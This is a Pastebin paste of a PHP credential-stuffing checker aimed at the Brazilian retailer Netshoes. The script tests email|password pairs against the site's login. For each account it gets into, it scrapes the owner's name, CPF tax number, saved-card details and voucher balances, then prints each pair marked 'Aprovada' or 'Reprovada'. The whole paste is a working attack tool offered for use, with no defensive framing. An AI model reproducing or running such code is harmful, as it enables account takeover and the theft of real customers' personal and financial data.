Advertisement
Guest User

Untitled

a guest
Aug 21st, 2018
212
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.66 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. DeletarCookies();
  4.  
  5. extract($_GET);
  6.  
  7. function getStr($string, $start, $end) {
  8. $str = explode($start, $string);
  9. $str = explode($end, $str[1]);
  10. return $str[0];
  11. }
  12.  
  13. function deletarCookies() {
  14. if (file_exists("cookie.txt")) {
  15. unlink("cookie.txt");
  16. }
  17. }
  18.  
  19.  
  20.  
  21. $lista = str_replace(" ", "", $lista);
  22. $separa = explode("|", $lista);
  23. $email = $separa[0];
  24. $senha = $separa[1];
  25.  
  26.  
  27. $ch = curl_init();
  28. curl_setopt($ch, CURLOPT_URL, "https://www.netshoes.com.br/login");
  29. curl_setopt($ch, CURLOPT_HTTPHEADER, 0);
  30. curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
  31. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  32. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  33. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  34. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  35. curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd() . '/cookie.txt');
  36. curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd() . '/cookie.txt');
  37. curl_setopt($ch, CURLOPT_POST, 0);
  38.  
  39. $data = curl_exec($ch);
  40. $token = explode('"', explode('id="clipping" type="hidden" value="', $data)[1])[0];
  41.  
  42. curl_setopt($ch, CURLOPT_URL, 'https://www.netshoes.com.br/login');
  43. curl_setopt($ch, CURLOPT_POST, 1);
  44. curl_setopt($ch, CURLOPT_POSTFIELDS, 'username='.$email.'&password='.$senha.'&recaptchaResponse=&clipping='.$token.'');
  45. $data = curl_exec($ch);
  46.  
  47. curl_setopt($ch, CURLOPT_URL, "https://www.netshoes.com.br/account/my-orders");
  48. curl_setopt($ch, CURLOPT_POST, 0);
  49. $data = curl_exec($ch);
  50.  
  51. curl_setopt($ch, CURLOPT_URL, "https://www.netshoes.com.br/account/my-personal-info");
  52. curl_setopt($ch, CURLOPT_POST, 0); $data = curl_exec($ch);
  53. $name = explode('" placeholder="* Seu nome"', explode('Nome" type="text" id="name" name="person[name]" value="', $data)[1])[0];
  54. $sobrenome = explode('" placeholder="* Sobrenome"', explode('title="Sobrenome" type="text" id="last-name" name="person[lastName]" value="', $data)[1])[0];
  55. $cpf = explode('" disabled readonly />', explode('id="cpf" data-hj-masked class="ns-mask-cpf" type="text" name="person[cpf]" value="', $data)[1])[0];
  56.  
  57. curl_setopt($ch,
  58. CURLOPT_URL, "https://www.netshoes.com.br/account/my-cards");
  59. curl_setopt($ch, CURLOPT_POST, 0);
  60. $data = curl_exec($ch);
  61.  
  62. if (strpos($data, "Você não possui cartões salvos.")) {
  63. $cards = "neClick: <span class='label label-danger'>Não</span>";
  64.  
  65. }else if (strpos($data, "") !== false){
  66. $cards = "";
  67.  
  68. }else if (strpos($data, "Excluir") !== false){
  69. $cards = "OneClick: ";
  70.  
  71. }else { $cards = "";
  72.  
  73. }
  74.  
  75. $card = explode('</div>', explode('<div class="card-list__info-card">', $data)[1])[0];
  76. curl_setopt($ch, CURLOPT_URL, "https://www.netshoes.com.br/account/my-cards");
  77. curl_setopt($ch, CURLOPT_POST, 0);
  78. $data = curl_exec($ch);
  79.  
  80. if (strpos($data, "Você não possui cartões salvos.")) {
  81. $datacard = "";
  82.  
  83. } else if (strpos($data, "") !== false){
  84. $datacard = "";
  85.  
  86. } else if (strpos($data, "Validade") !== false){
  87. $datacard = " | Data Vale: ";
  88.  
  89. } else { $datacard = "";
  90.  
  91. }
  92.  
  93. $cardviado = explode('</div>', explode('<div class="card-list__info-date">', $data)[1])[0];
  94. curl_setopt($ch, CURLOPT_URL, "https://www.netshoes.com.br/account/my-vouchers");
  95. curl_setopt($ch, CURLOPT_POST, 0); $data2 = curl_exec($ch);
  96.  
  97. if (strpos($data2, "Você não possui vales-compra.")) {
  98. $vale = " [Vale] Não";
  99.  
  100. } else if (strpos($data2, "Aguardando ativação") !== false){
  101. $vale = " [Vale] Aguardando ativação [Saldo]";
  102.  
  103. } else if (strpos($data2, "Ativo") !== false){
  104. $vale = " [Vale] Ativo [Saldo] ";
  105.  
  106. } else {
  107. $vale = " [Vale] Não";
  108. }
  109.  
  110. $saldos = explode('</i>', explode('</i></td><td class="cell green-text"><i>', $data2)[1])[0];
  111. $saldo = explode('</i></td><td class="cell">', explode('<td class="cell red-text"><i>R$ 104,90</i></td><td class="cell green-text"><i>', $data2)[1])[0];
  112.  
  113. if (strpos($data2, "Você não possui vales-compra.")) {
  114. $validade = "";
  115.  
  116. } else if (strpos($data2, "Aguardando ativação") !== false){ $validade = "";
  117.  
  118. } else if (strpos($data2, "Ativo") !== false){
  119. $validade = " [Data Vale]";
  120.  
  121. } else { $validade = "";
  122.  
  123. }
  124.  
  125. $validad = explode('</td><td class="cell">', explode('</i></td><td class="cell">', $data2)[1])[0];
  126.  
  127. if (!strpos($data, "Meus Pedidos")) {
  128. echo '<i style="color: red; text-shadow: 0 0 10px red;" class="fa fa-circle"></i> <font color=red>Reprovada &#10008;</font> '.$email.' | '.$senha.'<br>';
  129. } else {
  130. $tudo = " [Nome] $name $sobrenome [Cpf] $cpf $vale $saldos $validade $validad ";
  131. echo '<i style="color: lime; text-shadow: 0 0 10px lime;" class="fa fa-circle"></i> <font color=lime>Aprovada &#10004;</font> '.$email.' | '.$senha.''.$tudo.'<font color=green></font><br>';
  132.  
  133. }
  134.  
  135. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement